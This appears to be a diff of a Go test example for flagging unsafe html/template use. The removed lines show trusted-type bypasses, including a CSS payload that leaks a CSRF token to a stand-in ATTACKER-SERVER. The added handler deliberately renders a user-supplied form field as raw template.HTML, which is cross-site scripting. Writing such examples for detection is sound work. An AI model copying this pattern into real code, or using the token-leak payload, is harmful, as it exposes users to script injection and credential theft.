@@ -2,69 +2,12 @@ package main
2
2
3
3
import (
4
4
"html/template"
5
- "os "
5
+ "net/http "
6
6
)
7
7
8
- func main () {}
9
- func source (s string ) string {
10
- return s
11
- }
12
-
13
- type HTMLAlias = template.HTML
14
-
15
- func checkError (err error ) {
16
- if err != nil {
17
- panic (err )
18
- }
19
- }
20
-
21
- // bad is an example of a bad implementation
22
- func bad () {
23
- tmpl , _ := template .New ("test" ).Parse (`Hi {{.}}\n` )
24
- tmplTag , _ := template .New ("test" ).Parse (`Hi <b {{.}}></b>\n` )
25
- tmplScript , _ := template .New ("test" ).Parse (`<script> eval({{.}}) </script>` )
26
- tmplSrcset , _ := template .New ("test" ).Parse (`<img srcset="{{.}}"/>` )
27
-
28
- {
29
- {
30
- var a = template .HTML (source (`<a href='example.com'>link</a>` ))
31
- checkError (tmpl .Execute (os .Stdout , a ))
32
- }
33
- {
34
- {
35
- var a template.HTML
36
- a = template .HTML (source (`<a href='example.com'>link</a>` ))
37
- checkError (tmpl .Execute (os .Stdout , a ))
38
- }
39
- {
40
- var a HTMLAlias
41
- a = HTMLAlias (source (`<a href='example.com'>link</a>` ))
42
- checkError (tmpl .Execute (os .Stdout , a ))
43
- }
44
- }
45
- }
46
- {
47
- var c = template .HTMLAttr (source (`href="https://example.com"` ))
48
- checkError (tmplTag .Execute (os .Stdout , c ))
49
- }
50
- {
51
- var d = template .JS (source ("alert({hello: 'world'})" ))
52
- checkError (tmplScript .Execute (os .Stdout , d ))
53
- }
54
- {
55
- var e = template .JSStr (source ("setTimeout('alert()')" ))
56
- checkError (tmplScript .Execute (os .Stdout , e ))
57
- }
58
- {
59
- var b = template .CSS (source ("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } " ))
60
- checkError (tmpl .Execute (os .Stdout , b ))
61
- }
62
- {
63
- var f = template .Srcset (source (`evil.jpg 320w` ))
64
- checkError (tmplSrcset .Execute (os .Stdout , f ))
65
- }
66
- {
67
- var g = template .URL (source ("javascript:alert(1)" ))
68
- checkError (tmpl .Execute (os .Stdout , g ))
69
- }
8
+ func bad (w http.ResponseWriter , r * http.Request ) {
9
+ r .ParseForm ()
10
+ username := r .Form .Get ("username" )
11
+ tmpl , _ := template .New ("test" ).Parse (`<b>Hi {{.}}</b>` )
12
+ tmpl .Execute (w , template .HTML (username ))
70
13
}
0 commit comments